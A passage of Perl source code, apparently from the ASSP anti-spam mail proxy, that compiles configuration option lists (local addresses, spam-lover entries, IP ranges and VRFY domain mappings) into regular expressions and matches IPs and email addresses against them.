            mlog(0,"info: $c->[0] - invalid value ${$c->[0]} corrected to $c->[4]");
            ${$c->[0]} = $c->[4];
            $Config{$c->[0]} = $c->[4];
        }
    }
    }


}

sub CompileAllRE {
    my $init = shift;
    @PossibleOptionFiles=();
    foreach my $c (@ConfigArray) {
        next if @{$c}==1; # skip headings

        next if (! $c->[6]);
        if (   $c->[6] eq 'ConfigMakeRe' 

            || $c->[6] eq 'ConfigMakeSLRe' 
			|| $c->[6] eq 'ConfigMakeSLReSL'
            || $c->[6] eq 'ConfigMakeIPRe' 
            || $c->[6] eq 'configUpdateRBLSP' 

            || $c->[6] eq 'configUpdateRWLSP' 

            || $c->[6] eq 'configUpdateURIBLSP' 

            || $c->[6] eq 'configUpdateCCD' 

            || $c->[6] eq 'updateDNS' 

            || $c->[6] eq 'configUpdateCA' 
            || $c->[6] eq 'configUpdateSPFOF' 
            || $c->[6] eq 'ConfigCompileNotifyRe'
            || $c->[6] eq 'configChangeRcptRepl'
            || $c->[6] eq 'ConfigCompileRe'  
            || $c->[6] eq 'configChangeMSGIDSec'
			|| $c->[6] eq 'configChangeRT'
			|| $c->[6] eq 'configUpdateMaxSize'
			|| $c->[6] eq 'configUpdateStringToNum'
            || $c->[6] eq 'configUpdateBACKSctrSP'
            || $c->[6] eq 'ConfigMakeEmailAdmDomRe'
			|| $c->[6] eq 'ConfigChangeSyncFile'

            

           )
        {
            push(@PossibleOptionFiles,[$c->[0],$c->[1],$c->[6]]);
            mlog(0,"ERROR: possible code or language file error in config for $c->[0] - '*' not found at the end of the small description") if ($c->[1] !~ /\*\s*$/ );
            mlog(0,"ERROR: possible code or language file error in config for $c->[0] - '**' not found at the end of the small description for weighted RE") if (exists $WeightedRe{$c->[0]} && $c->[1] !~ /\*\*\s*$/ );
        } elsif ($c->[0] ne 'POP3ConfigFile') {
            mlog(0,"ERROR: possible code error in sub 'CompileAllRE' for $c->[0] - $c->[6] - option file is not checked") if $c->[1] =~ /\*$/;
     
        }
        if ($c->[0] =~ /ValencePB$/o && defined $c->[6]) {
            $c->[6]->($c->[0],$Config{$c->[0]},$Config{$c->[0]},$init);
        }
    }
#    push(@PossibleOptionFiles,['TLDS','TOP level Domains',\&ConfigCompileRe]);

    foreach my $f (@PossibleOptionFiles) {
        next if ($f->[0] eq 'asspCfg');
        if ($init) {
            $f->[2]->($f->[0],'',$Config{$f->[0]},'Initializing',$f->[1]);
        } else {
            if (($Config{$f->[0]} =~ /^ *file: *(.+)/io && fileUpdated($1,$f->[0])) or
                $Config{$f->[0]} !~ /^ *file: *(.+)/io)
            {
               $f->[2]->($f->[0],$Config{$f->[0]},$Config{$f->[0]},'',$f->[1]);
            }
        }
    }

    updateBadAttachL1('BadAttachL1','',$Config{BadAttachL1},'Initializing');
    updateGoodAttach('GoodAttach','',$Config{GoodAttach},'Initializing');
	updatePassAttach('PassAttach','',$Config{PassAttach},'Initializing');
    configChangeRT('smtpDestinationRT','',$Config{smtpDestinationRT},'Initializing');
    configUpdateRBL('ValidateRBL','',$Config{ValidateRBL},'Initializing');
    configUpdateRWL('ValidateRWL','',$Config{ValidateRWL},'Initializing');

	configChangeRBSched('RebuildSchedule','',$Config{RebuildSchedule},'Initializing');
	configChangeHKSched('HouseKeepingSchedule','',$Config{HouseKeepingSchedule},'Initializing');
    configUpdateURIBL('ValidateURIBL','',$Config{ValidateURIBL},'Initializing');
    configUpdateCA('CatchAll','',$Config{CatchAll},'Initializing');
	configUpdateCCD('ccSpamInDomain','',$Config{ccSpamInDomain},'Initializing');
    updateSRS('EnableSRS','',$Config{EnableSRS},'Initializing');
    freqNonSpam('freqNonSpam','',$Config{freqNonSpam},'Initializing');
    freqSpam('freqSpam','',$Config{freqSpam},'Initializing');

configUpdateMaxSize('MaxSizeExternalAdr','',$Config{MaxSizeExternalAdr},'Initializing');
configUpdateMaxSize('MaxSizeAdr','',$Config{MaxSizeAdr},'Initializing');   configUpdateMaxSize('MaxRealSizeExternalAdr','',$Config{MaxRealSizeExternalAdr},'Initializing');
configUpdateMaxSize('MaxRealSizeAdr','',$Config{MaxRealSizeAdr},'Initializing');    ConfigChangeTLSPorts('NoTLSlistenPorts','',$Config{NoTLSlistenPorts},'Initializing');
    ConfigChangeMaxAllowedDups('MaxAllowedDups','',$Config{MaxAllowedDups},'Initializing');
	ConfigChangePOP3File('POP3ConfigFile','',$Config{POP3ConfigFile},'Initializing');
    configChangeMSGIDSec('MSGIDSec','',$Config{MSGIDSec},'Initializing');
    $spamSubjectEnc = is_7bit_clean($spamSubject) ? $spamSubject : encodeMimeWord($spamSubject,'Q','UTF-8');
}


sub optionFilesReload {
 # check if options files have been updated and need to be re-read
    foreach my $f (@PossibleOptionFiles) {
        if($f->[0] ne 'asspCfg' or ($f->[0] eq 'asspCfg' && $AutoReloadCfg)) {
            if ($Config{$f->[0]}=~/^ *file: *(.+)/io && fileUpdated($1,$f->[0]) ) {
                $f->[2]->($f->[0],$Config{$f->[0]},$Config{$f->[0]},'',$f->[1]);
                &syncConfigDetect($f->[0]);
            }
        }
    }
}


sub ConfigMakeRe {
 my ($name, $old, $new, $init, $desc)=@_;
 my $note = "AdminUpdate: $name changed from '$old' to '$new'";
 $note = "AdminUpdate: $name changed" if exists $cryptConfigVars{$name};
 mlog(0,$note) unless $init || $new eq $old;
 $new=checkOptionList($new,$name,$init);
# my $ret = &ConfigRegisterGroupWatch(\$new,$name,$desc);
 $new =~ s/([\\]\|)*\|+/$1\|/go;
 my $mHostPortRe = $HostRe . '(?:\:' . $PortRe . ')?' . '(?:|' . $HostRe . '(?:\:' . $PortRe . ')?)*';
 
 my %toChangeMTA;
 $new = join('|', sort split(/\|/o,$new)) if $new;
 if ($name eq "vrfyDomains" ) {
        %DomainVRFYMTA = ();

        my @entry = split(/\|/o,$new);
        $new = '';
        my $ld;
        my $lds;
        my $mta;
		my $defaultMTA;
        
        while (@entry) {
           my $ad = shift @entry;
           $ad =~ s/\s//go;
           ($ld,$mta) = split(/\s*\=\>\s*/o,$ad,2);
           if ($ld =~ /^(all)$/io && $mta) {
               my $e = $1;
               if ($mta !~ /$mHostPortRe/o) {
                   mlog(0,"warning: $name - VRFY entry '$ad' contains a not valid MTA definition");
                   next;
               }

           }
           if ($mta && $mta =~ /$mHostPortRe/o) {
               $DomainVRFYMTA{lc $ld} = $mta;
               
           } elsif ($mta && $mta !~ /$mHostPortRe/o) {
               mlog(0,"warning: found entry '$ad' with wrong syntax in $name file");
               next;
           }
           $toChangeMTA{lc $ld} = 1;

        }

        if ($defaultMTA) {
            while (my ($k,$v) = each %toChangeMTA) {
                $DomainVRFYMTA{$k} = $defaultMTA;
            }
        }

		
        my $k = undef;
    	my $v = undef;
    	foreach $k (reverse sort keys %DomainVRFYMTA) {
        	$v = $DomainVRFYMTA{$k};
        	$DomainVRFYMTA{$k} = $defaultMTA if !$v && $defaultMTA;
			$v = $DomainVRFYMTA{$k};
  			
			mlog(0," $k => $v",1) if $name eq "vrfyDomains" && $v && $DoVRFY && $VRFYLog>=2;
      
    	}	
        return '';
 }

 if ($name eq "maxBombHits") {
        my @entry = split(/\|/o,$new);
        $new = '';
        my $ld;
        my $lds;
        my $mta;

        while (@entry) {
           my $ad = shift @entry;
           ($ld,$mta) = split(/\=\>/,$ad);
           if ($mta) {
               $maxHits{lc $ld} = $mta;

           }

        }

        return '';
 }
 $new=~s/([\.\[\]\-\(\)\+\\])/\\$1/g;
 $new=~s/\*/\.\{0,64\}/g;
 $new=~s/\?/\.\?/go;
#	mlog(0,"$new") if $name eq "blackListedDomains";
 if ($name eq 'TLDS') {

        $TLDSRE = $new;

        
 } else {
        
 	$new||='^(?!)'; # regexp that never matches
 }
 mlog(0,"ERROR: !!!!!!!!!! missing MakeRE{$name} in code !!!!!!!!!!") unless exists $MakeRE{$name};
 $MakeRE{$name}->($new);
 '';
}


# make spamlover address like RE
sub ConfigMakeSLRe {
    my ( $name, $old, $new, $init, $desc ) = @_;

    my $ld;
    my $re;
    my $we;
    my $mta;
    my $note = "AdminUpdate: $name changed from '$old' to '$new'";
    %FlatVRFYMTA = () if $name eq "LocalAddresses_Flat";
    %FlatDomains = () if $name eq "LocalAddresses_Flat";
    mlog( 0, $note )
      unless $init || $new eq $old;
    ${$name} = $new;
    $new = checkOptionList( $new, $name, $init );
    $new =~ s/\./\\\./go;
 	$new =~ s/\\\\/\\/go;
 	$new =~ s/\\\\/\\/go;
    $new =~ s/\*/\.\*\?/go;
    $new =~ s/\?/\.\?/go;
    my ( @uad, @u, @d );
    if (exists $WeightedRe{$name}) {
        
        
        my @Weight = @{$name.'Weight'};
        my @WeightRE = @{$name.'WeightRE'};
        @{$name.'Weight'} = ();
        @{$name.'WeightRE'} = ();
  
        my $newnew;
        foreach my $rex ( split( /\|/o, $new ) ) {
        	next if $rex =~ /\=\>/;
 			push (@{$name.'WeightRE'},$rex);
        	push (@{$name.'Weight'},"1");
        	$newnew .= "$rex|";

        }
        foreach my $rex ( split( /\|/o, $new ) ) {
        	next if $rex !~ /\=\>/;

			($re, $we) = $rex =~ /(.*)\=\>(.*)/;

			$we =~ s/\\//;
            $we += 0;

#			$re =~ s/\\//;
			$re .= '$' if $re =~ /^@/;
			$newnew .= "$re|";
			
            eval{$note =~ /$re/};
            if ($@) {
                mlog(0,"error: weighted regex for $name is invalid '$re=>$we' - $@") ;
                mlog(0,"warning: value for $name was not changed - all changes are ignored") ;

 				@{$name.'Weight'} = @Weight;
                @{$name.'WeightRE'} = @WeightRE;
                $new = $old;
                return "<span class=\"negative\"> - weighted regex for $name is invalid '$re=>$we'!</span>";
            }
            
            push (@{$name.'WeightRE'},$re);
            push (@{$name.'Weight'},$we);

			
        }

        my $count = 0;
        foreach my $k (@{$name.'Weight'}) {
            my $reg = ${$name.'WeightRE'}[$count];
            $count++;
        }

		$new = $newnew;
		$new =~ s/\|$//;

    }
	
	
	
    foreach my $a ( split( /\|/, $new ) ) {
        if ( $a =~ /\S\@\S/ ) {
        	if ( $name eq "LocalAddresses_Flat" ) {
        		$a =~ /^(.*@)(.*)$/;
        		my $h = $2;
        		$h =~ s/\\//;
        		$FlatDomains{ lc $h } = 1 if $h;
        		}
            push( @uad, $a );
        } elsif ( $a =~ /^\@/ ) {
        	
            if ( $name eq "LocalAddresses_Flat" ) {
                ( $ld, $mta ) = split( /\=\>/, $a );
                $FlatVRFYMTA{ lc $ld } = $mta if $mta;
                mlog(0,"warning: LocalAddresses_Flat VRFY entry $ld also exists in localDomains")
                   if exists $DomainVRFYMTA{ lc $ld } && $WorkerNumber == 0;
                $a = $ld if $mta;
                $a =~ /^\@(.*)/;
                my $h = $1;
        		$h =~ s/\\//;
            	$FlatDomains{ lc $h } = 1 if $h;
            }
 
            push( @d, $a );
        } elsif ( $name eq "LocalAddresses_Flat"
            && $LocalAddresses_Flat_Domains )
        {	
        	my $h = $a;
        	$h =~ s/\\//;
        	$h =~ s/\@//;
			$FlatDomains{ lc $h } = 1 if $h;
            ( $ld, $mta ) = split( /\=\>/, $a );
            $ld = '@' . $ld;
            $a  = '@' . $a;

            $FlatVRFYMTA{ lc $ld } = $mta if $mta;
            mlog(0,"warning: LocalAddresses_Flat VRFY entry $ld also exists in localDomains")
               if exists $DomainVRFYMTA{ lc $ld } && $WorkerNumber == 0;
            $a = $ld if $mta;

            push( @d, $a );
        } else {
            if ( $name eq "LocalAddresses_Flat" ) {
                ( $ld, $mta ) = split( /\=\>/, $a );
                if ($mta) {
                    $ld                    = '@' . $ld;
                    $a                     = '@' . $a;
                    $FlatVRFYMTA{ lc $ld } = $mta;
                    mlog(0,"warning: LocalAddresses_Flat VRFY entry $ld also exists in localDomains")
                       if exists $DomainVRFYMTA{ lc $ld } && $WorkerNumber == 0;
                    $a                     = $ld;
                    push( @d, $a );
                } else {
                	$a =~ /^(.*@)(.*)/;
                	my $h = $2;
        			$h =~ s/\\//;
        			$h =~ s/\@//;
        			$FlatDomains{ lc $h } = 1 if $h;
                    push( @u, $a );
                }
            } else {
                push( @u, $a );
            }
        }
    }
    mlog(0,"AdminUpdate: enabled VRFY for address(es) ". join(',', keys %FlatVRFYMTA)) if %FlatVRFYMTA && $WorkerNumber == 0;
    my @s;
    push( @s, '^(' . join( '|', @uad ) . ')$' ) if @uad;
    push( @s, '^(' . join( '|', @u ) . ')@' )   if @u;
    push( @s, '(' . join( '|', @d ) . ')$' ) if @d;
    my $s = join( '|', @s );
    $s ||= '^(?!)';    # regexp that never matches
    mlog( 0, "ERROR: !!!!!!!!!! missing MakeSLRE{$name} in code !!!!!!!!!!" )
      unless exists $MakeSLRE{$name};

    SetRE( $MakeSLRE{$name}, $s, 'i', $desc );
    '';

}

# make spamlover RE for SpamLovers
sub ConfigMakeSLReSL {
    my ( $name, $old, $new, $init, $desc ) = @_;
    my $ld;
    my $mta;
    $SLscore{$name} = ();
    mlog( 0, "adminupdate: $name changed from '$old' to '$new'" )
      unless $init || $new eq $old;
    ${$name} = $new;
    $new = checkOptionList( $new, $name, $init );
	my $ret;

    $new =~ s/([\\]\|)*\|+/$1\|/go;
    $new =~ s/\./\\\./go;
    $new =~ s/\*/\.\{0,64\}/go;

    my ( @uad, @u, @d , %entry_uad, %entry_u, %entry_d);

    foreach ( split( /\|/o, $new ) ) {
        my ($ad, $score) = split /=>/o;
        $ad =~ s/\s//go;
        if ($score && ! ($score =~ s/^\s*(\d+(?:\.\d+)?)\s*$/$1/o)) {
            $score = undef;
            $ret .= ConfigShowError( 0, "warning: spamlover max score for $name in definition '$_' is not a numbered value - the score value is ignored" );
        }
        $SLscore{$name}->{unescape(lc $ad)} = max($SLscore{$name}->{unescape(lc $ad)},$score) if defined $score;
        if ( $ad =~ /\S\@\S/o ) {
            push( @uad, $ad ) unless exists $entry_uad{lc $ad};
            $entry_uad{lc $ad} = 1;
        } elsif ( $ad =~ s/^\@//o ) {
            push( @d, $ad ) unless exists $entry_d{lc $ad};
            $entry_d{lc $ad} = 1;
        } else {
            push( @u, $ad ) unless exists $entry_u{lc $ad};
            $entry_u{lc $ad} = 1;
        }
    }

    my @s;
    push( @s, '(?:' . join( '|', sort @u ) . ')@.*' )   if @u;
    push( @s, '(?:' . join( '|', sort @uad ) . ')' ) if @uad;
    push( @s, '.*?@(?:' . join( '|', sort @d ) . ')' ) if @d;
    my $s;
    $s = '(?:^' . join( '|', @s ) . '$)' if @s;
    $s =~ s/\@/\\\@/go;
    $s ||= '^(?!)';    # regexp that never matches
    $ret .= ConfigShowError( 1, "ERROR: !!!!!!!!!! missing MakeSLRE{$name} in code !!!!!!!!!!" )
      if ! exists $MakeSLRE{$name} && $WorkerNumber == 0;

   	SetRE( $MakeSLRE{$name}, $s, 'i', $desc );
}
# make EmailAdmins -> Domain match RE
sub ConfigMakeEmailAdmDomRe {
    my ( $name, $old, $new, $init, $desc ) = @_;
    %EmailAdminDomains = ();
    mlog( 0, "adminupdate: $name changed from '$old' to '$new'" )
      unless $init || $new eq $old;
    ${$name} = $new;
    $new = checkOptionList( $new, $name, $init );
    my $ret = &ConfigRegisterGroupWatch(\$new,$name,$desc);

    $new =~ s/([\\]\|)*\|+/$1\|/go;

    foreach ( split( /\|/o, $new ) ) {
        my ($ad, $domain) = split /=>/o;
        $ad =~ s/\s//go;
        $ad = lc $ad;
        $domain =~ s/\s//go;
        $domain =~ s/[, ]+/\|/go;
        $domain =~ s/\|+/\|/go;
        $domain =~ s/^\|//o;
        $domain =~ s/\|$//o;
        $domain = '*@'.$domain if $domain !~ /\@/o;
        $domain =~ s/\./\\\./go;
        $domain =~ s/\*/\.\{0,64\}/go;
        $domain =~ s/\@/\\@/go;
        $domain = lc $domain;
        eval{$EmailAdminDomains{$ad} = qr/$domain/;};
        if ($@) {
            $ret .= ConfigShowError( 1, "ERROR: $name contains wrong definition ($_) - $@");
        }
    }
    return $ret;
}
sub ConfigRegisterGroupWatch {

}

sub ConfigCheckGroupWatch {

}

# inplace replace a hostname with all available IP's
# in a ConfigMakeIPRe value and return errors
sub replaceHostByIP {
    my ($new,$name,$desc) = @_;

    return unless $$new;


    my @nnew;
    my $ret;
    my $minTTL = 999999999;
    foreach my $l (split(/\|/o,$$new)) {
        $l =~ s/^\s+//o;
        $l =~ s/\s$//o;
        if ($l =~ m/^$IPv6Re(?:\/\d{1,3})?/io) {  # is a IPv6 address
            push @nnew, $l;
            next;
        }
        if ($l =~ m/^(?:\d{1,3}\.){1,3}(?:\d{1,3})?(?:\/\d{1,2})?/o) { # is a IPv4 fragment or address
            push @nnew, $l;
            next;
        }
        # found a hostname - replace it with all available IP's
        
        my ($sl,$sep,$desc) = split(/(\s+)/o,$l,2);

        if ($sl !~ /$EmailDomainRe|\w\w+/o) {      # not a valid hostname
            $ret .= ConfigShowError(1, "AdminInfo: '$sl' is not a valid hostname in $name - ignore entry") if $sl;
            mlog(0,"4 '$sl' is not a valid hostname in $name");
            next;
        }
        $desc = $sep.$desc if $desc;
        my $res = queryDNS($sl ,'A');
        ref $res or next;
        if ($res) {
            my @answer = map{$_->string} $res->answer;
            my $w = 1;
            while (@answer) {
                my $RR = Net::DNS::RR->new(shift @answer);
                my $ttl = $RR->ttl;

                my $data = $RR->rdatastr;
                push @nnew, "$data/32$desc" if $data =~ /^$IPv4Re$/o;
                push @nnew, "$data/128$desc" if $data =~ /^$IPv6Re$/o;
                d("replaceHostByIP record: $sl -> $data , TTL -> $ttl");
                mlog(0,"added IP '$data/32' for hostname '$sl' to $name") if $WorkerNumber == 0 and $MaintenanceLog > 2;
                $w = 0 if $ttl;
                $minTTL = $ttl if $ttl < $minTTL;
            }
        } else {
            $ret .= ConfigShowError(1, "AdminInfo: error - unable to resolve hostname '$sl' for configuration of '$name'");
        }
    }

    $$new = join('|',@nnew);
    return $ret;
}
sub ConfigShowError {
    my ($red, $msg, $noprepend, $noipinfo , $noS) = @_;
    return unless $msg;
    mlog(0, $msg, $noprepend, $noipinfo , $noS);
    my ($prsp,$posp);
    if ($red) {
        $prsp = '<span class="negative">';
        $prsp = '</span>';
    }
    $msg =~ s/[^:]+:\s*//o;
    return "$prsp$msg$prsp<br />\n";
}

sub unescape {
    my $string = shift;
    $string =~ s/\\//go;
    return $string;
}
sub loadexportedRE {
    my $name = shift;
    return 0;
}
# make IP address RE
# allow for CIDR notation if Net::IP::Match::Regexp available
sub ConfigMakeIPRe {

    my ($name, $old, $new, $init, $desc)=@_;
    my $newexpanded;
    my $cips;
    use re 'eval';

    mlog(0,"AdminUpdate: $name changed from '$old' to '$new'") unless $init || $new eq $old;
    ${$name} = $new;
    $new=~s/\s*\-\s*/\-/go;
    $new=checkOptionList($new,$name,$init) ;
    my $ret = &ConfigRegisterGroupWatch(\$new,$name,$desc);

    my $loadRE;
    if (($WorkerNumber != 0) && ($loadRE = loadexportedRE($name))) {
         $loadRE =~ s/\)$//o if $loadRE =~ s/^\(\?(?:[xism\-]*)?\://o;
         eval{${$MakeIPRE{$name}}=qr/$loadRE/;};
         $ret .= ConfigShowError(0,"AdminInfo: regular expression error in '$name (exported):$loadRE' for $desc: $@") if $@;
         return $ret;
    }

    if ($CanMatchCIDR) {
        foreach my $l (split(/\|/o,$new)) {

            $l=~s/\.\./\./go;
            $l=~s/--+/*/go;
            $l=~s/#.*//o;
            $l=~s/;.*//o;
            $l=~s/\[([0-9a-f:]+)\]/$1/ig;

            $l=~s/^($IPRe)\s+($IPRe)/$1-$2/go;

            if ($CanUseCIDRlite && $l=~/^$IPRe-$IPRe/o ) {

                $l=~s/($IPRe)-($IPRe)(.*)/ipv6expand($1).'-'.ipv6expand($2)/oe;
                $desc=$3;

                my $cidr = Net::CIDR::Lite->new;
                eval{$cidr->add_any($l);};
                if ($@) {
                    $@=~/^(.+?)\sat\s/o ;
                    $ret .= ConfigShowError(1,"AdminInfo: $name: $1 ($l)") ;
                    next;
                }
                my @cidr_list = $cidr->list;
                my $cidr_join = join("$desc|",@cidr_list);
                $newexpanded.=$cidr_join."$desc|";
                next;
            }
            $newexpanded.=$l."|";
        }
        $newexpanded=~s/\|$//o if $newexpanded;
        $new=$newexpanded;

    }
    if ($new) {
        $ret .= replaceHostByIP(\$new,$name,$desc);
        $new =~ s/\|\|/\|/go;
    }
    if ($new && $CanMatchCIDR) {
        my %ips = ();
        my $new6;
        my $new4;
        foreach my $l (split(/\|/o,$new)) {
            my $hasIPv6;
            if ($l =~ /:[^:]*:/o) {
                $l =~ s/^\[([0-9a-f:\.]+)\]/$1/io;
                $hasIPv6 = 1;
                my $ip;
                my $bits;
                my $ll = $l;
                ($l, $desc) = ($l =~ m/^([0-9a-f:.]+(?:\/[0-9]{1,3})?)\s*(.*)\s*$/io);
                $desc = " $desc" if ($desc);
                ($ip, $bits) = split(/\//, $l);
                if ($l =~ /\//) {
                    if (!$bits || $bits > 128) {
                        $ret .= ConfigShowError(1, "AdminInfo: invalid IPv6 address $l in $name");
                        next;
                    }
                    $ip = ipv6expand($ip);
                } else {
                    $ip = ipv6expand($ip);
                    $ip =~ s/(?::0)+$//o;
                    my @pre = split /:/o, $ip;
                    $bits = ($#pre+1)*16;
                    if ($bits > 128) {
                        $ret .= ConfigShowError(1, "AdminInfo: invalid IPv6 address $l in $name");
                        next;
                    }
                }
                my $ip6b = ipv6binary($ip, $bits);

                $new6 .= $ip6b . "(?{'" . $l . $desc . "'})" . "|";

                $cips++;
                $l = $ll;
            }
            if (my @matches=$l=~/(\d{1,3}\.)(\d{1,3}\.?)?(\d{1,3}\.?)?(\d{1,3})?(\/)?(\d{1,3})?\s*(.*)\s*$/io)   {
                my $description=$7;
                my $ip=$1.($2?$2:'').($3?$3:'').($4?$4:'');
                my $bits=($5?$5:'').($6?$6:'');

                foreach (@matches) {
                    $_ = 0 unless $_;
                    s/\.$//go;
                }
                if  ($matches[0]>255 || $matches[1]>255 || $matches[2]>255 || $matches[3]>255) {
                    $ret .= ConfigShowError(1,"AdminInfo: $name, error in line $l, Dotted Quad Number > 255 ");
                    next;
                }

                $ip=~s/\.$//go;

                if ($hasIPv6) {
                    $bits -= 96;
                    $bits = 32 if $bits < 0;
                }
                $bits='' if !$bits;

                my $dcnt=($ip=~tr/\.//);
                if ($dcnt>=3) {
                    $bits||='/32';
                } elsif ($dcnt>=2) {
                    $ip.='.0';
                    $bits||='/24';
                } elsif ($dcnt>=1) {
                    $ip.='.0'x2;
                    $bits||='/16';
                } else {
                    $ip.='.0'x3;
                    $bits||='/8';
                }

                $desc= $description ? "$ip$bits $description" : "$ip$bits";

                $desc=~s/'/\\'/go;
                $desc||=1;
                if  ("$ip$bits" !~ /$IPv4Re\/\d{1,2}/o) {
                    $ret .= ConfigShowError(1,"AdminInfo: $name error in line $l, IP notation: $ip$bits");
                    next;
                }
                $ips{"$ip$bits"}=$desc;
                $cips++;
            }
        }

        if (scalar keys %ips) {
            eval{$new4=Net::IP::Match::Regexp::create_iprange_regexp(\%ips);};
            $ret .= ConfigShowError(1,"AdminInfo:$name $@") if $@;
        }

        if ($new6) {
            $new6 =~ s/\|$//o;
            if ($CanUseRegexOptimizer && eval{Regex::Optimizer->VERSION >= 1.11} && (! exists $noOptRe{$name} || $noOptRe{$name} > 0)) {
                my $optimSX = $noOptRe{$name} == 2;
                my $how = $optimSX ? 'strong ' : 'simple ';
                my $lenBefore = length($new6) + 19;      # (?-xims:(?$f:......))
                if ($WorkerName eq 'startup' && $MaintenanceLog >= 2) {
                   print $how . "optimizing IPv6 regex for $name";
                   print ' ' x (30 - length($name) - length($how));
                }
                my $on6 = $new6;
                my $o = Regex::Optimizer->new;
                $o->set(optim_sx => $optimSX);
#                $o->set(debug => $debug);
                eval{$new6 = $o->optimize(qr/$new6/)};
                if ($@) {
                    $ret .= ConfigShowError(0,"AdminInfo: regular expression optimzation error in '$name' for IPv6 addresses: $@");
                    $new6 = $on6;
                    if ($WorkerName eq 'startup' && $MaintenanceLog >= 2) {
                        print "[FAILED]\n";
                    }
                } else {
                    if ($WorkerName eq 'startup' && $MaintenanceLog >= 2) {
                        print "[OK]\n";
                    }
                }
            }
        }
        if ($new6 && $new4) {
            $new4 =~ s/^.*\^(.*)\)/$1/o;
            $new = "(?msx-i:^(6(?:$new6)|$new4))";
        } elsif ($new6) {
            $new6 = '(?msx-i:^6('.$new6.'))';
            $new = $new6;
        } elsif ($new4) {
            $new = $new4;
        } else {
            $new = qr/^(?!)/;    # regexp that never matches
        }

        $ret .= ConfigShowError(1,"ERROR: !!!!!!!!!! missing MakeIPRE{$name} in code !!!!!!!!!!") if ! exists $MakeIPRE{$name} && $WorkerNumber == 0;
        eval{${$MakeIPRE{$name}}=qr/$new/;};
        $ret .= ConfigShowError(1,"AdminInfo: regular expression error in '$name:$new': $@") if $@;
    } else {
        my %ips = ();
        if ($new) {
            foreach my $l (split(/\|/o,$new)) {
                if ($l =~ /:[^:]*:/o) {
                    $l =~ s/^\[([0-9a-f:\.]+)\]/$1/io;
                    if ($l =~ /([0-9a-f:\.]+)\s*(.*)\s*$/io )
                    {
                        my $description = $2;
                        my $ip = ipv6expand($1);

                        $desc = $description ? "$ip $description" : $ip ;
                        $ips{$ip} = $desc;
                        $cips++;
                    }
                }
                if ($l =~ /(\d{1,3}\.)(\d{1,3}\.?)?(\d{1,3}\.?)?(\d{1,3})?(\/)?(\d{1,3})?\s*(.*)\s*$/io)   {
                    my $description=$7;
                    my $ip=$1.$2.$3.$4;

                    $desc = $description ? "$ip $description" : $ip ;
                    $ips{$ip}=$desc;
                    $cips++;
                }
            }
        }
        my @ips;
        while (my ($ip,$desc)=each(%ips)) {
            $ip=~s/([\.\[\]\-\(\)\*\+\\])/\\$1/go;
            next unless $ip;
            $desc=~s/'/\\'/go;
            push(@ips,"$ip(?{'$desc'})");
        }
        $new=join('|',@ips);
        $new ||='^(?!)'; # regexp that never matches
        $ret .= ConfigShowError(1,"ERROR: !!!!!!!!!! missing MakeIPRE{$name} in code !!!!!!!!!!") if ! exists $MakeIPRE{$name} && $WorkerNumber == 0;
        eval{${$MakeIPRE{$name}}=qr/^(?:$new)/};
        $ret .= ConfigShowError(1,"AdminInfo: regular expression error in '$name:$new' for $desc: $@") if $@;
    }
    exportOptRE(\$new,$name) if $WorkerNumber == 0;

    return $ret;
}
sub exportOptRE {

    return;
}

# check if IP address matches RE
sub matchIP {
    my ( $ip, $re, $fhh, $donotmlog ) = @_;
    my $reRE = ${ $MakeIPRE{$re} };
    return 0 unless $ip && $reRE;
    return if $reRE =~ /^$neverMatchRE$/o;

    $fhh = 0 if ! $fhh || ! exists $Con{$fhh};
    $ip =~ s/\r|\n//go;
    my $ret;
    local $^R = undef;
    use re 'eval';
    if ($CanMatchCIDR) {
        if ($ip =~ /:[^:]*:/o) {
            $ip =~ s/^\[([0-9a-f:]+)\].*/$1/io;
            $ip = ipv6expand($ip);
            my $ip6b = ipv6binary($ip, 128);
            $ret = $^R if (( '6' . $ip6b ) =~ /$reRE/xms);
        }
        if (!$ret && $ip =~ /($IPv4Re)$/o) {
            $ret = $^R if ('4'.unpack 'B32', pack 'C4', split /\./xms, $1)=~/$reRE/xms;
        }
    } else {
        ($ret) = $ip=~/($reRE)/xms;
    }
    $ret = 0 unless $ret;
	d("matchIP: ip=$ip re=$re") if $ret && ! $donotmlog;
    return $ret if $re eq 'noLog';
    my $alllog; $alllog = 1 if $allLogRe &&  $ip =~ /$allLogReRE/;
    if( ($fhh && ($alllog or (exists $Con{$fhh} && $Con{$fhh}->{alllog}))) or
        ($ret && !$donotmlog && $ipmatchLogging && ! matchIP( $ip, 'noLog' ) )
      )
    {
        my $matches = $ret ? 'matches': 'does not match';
        my $text = $ret ? "- with $ret" : '';
        mlog( $fhh, "IP $ip $matches $re $text", 1 )
    }
    return $ret;
}

  
  
# check if IP address matches RE
sub matchIPV6 {
    my ( $ip, $re, $fh, $donotmlog ) = @_;
    my $reRE = ${ $MakeIPRE{$re} };
    

    return 0 unless $ip && $reRE;

    my $this = $Con{$fh};
    my $ret;
    local $^R;
    use re 'eval';
    if ($CanMatchCIDR) {
        if ($ip =~ /:.*:/) {
            $ip =~ s/^\[([0-9a-f:]+)\].*/$1/i;
            $ip = ipv6expand($ip);
            my $ip6b = ipv6binary($ip, 128);
            ( '6' . $ip6b ) =~ /$reRE/xms;
        } else {
            ( '4' . unpack 'B32', pack 'C4', split /\./, $ip ) =~ /$reRE/xms;
        }
    } else {
        $ip =~ /$reRE/xmsi;
    }
    $ret = $^R;
	d("matchIP: ip=$ip re=$re") if $ret;
    return $ret if $re eq 'noLog';
    if ( !matchIP( $ip, 'noLog' ) && $ret && !$donotmlog) {
    	$this->{myheader} .= "X-Assp-$re: $ip\r\n" if $AddIPHeader;
    	mlog( $fh, "IP $ip" . ( $ret == 1 ? '' : " ($ret)" ) . " matches $re", 1 ) if $ipmatchLogging && $fh;
    }
    return $ret;
}

  

# check if email address matches RE
sub matchSL {
    my ($ad,$re,$nolog)=@_;
    $ad = join(' ',@$ad) if ref($ad);
    d("matchSL - $ad - $re",1);
    return 0 unless ${$re};
    my $reRE = ${$MakeSLRE{$re}};
    my $alllog;
    $alllog = 1 if $allLogRe && $ad =~ /$allLogReRE/ ;
    my $ret;
    $ret = $1 if $ad =~ /($reRE)/;
    if ($alllog or ($slmatchLogging && !$nolog && $ret) ) {
        my $matches = $ret ? "matches $ret": 'does not match';
        mlog( 0, "$ad $matches in $re", 1 );
    }
    return $ret ? 1 : 0;
}


# check if email address or IP address matches RE
sub matchSLIP {
    my ( $a, $ip, $re ) = @_;
    return matchSL( $a, $re ) || matchIP( $ip, $re );
}

#returns the value for the first matching key of hash or undef
sub matchHashKey {
    my ($hash, $key, $searchall) = @_;
    return undef unless $hash;
    return undef unless %$hash;
    return undef unless $key;

    my $k = undef;
    my $v = undef;
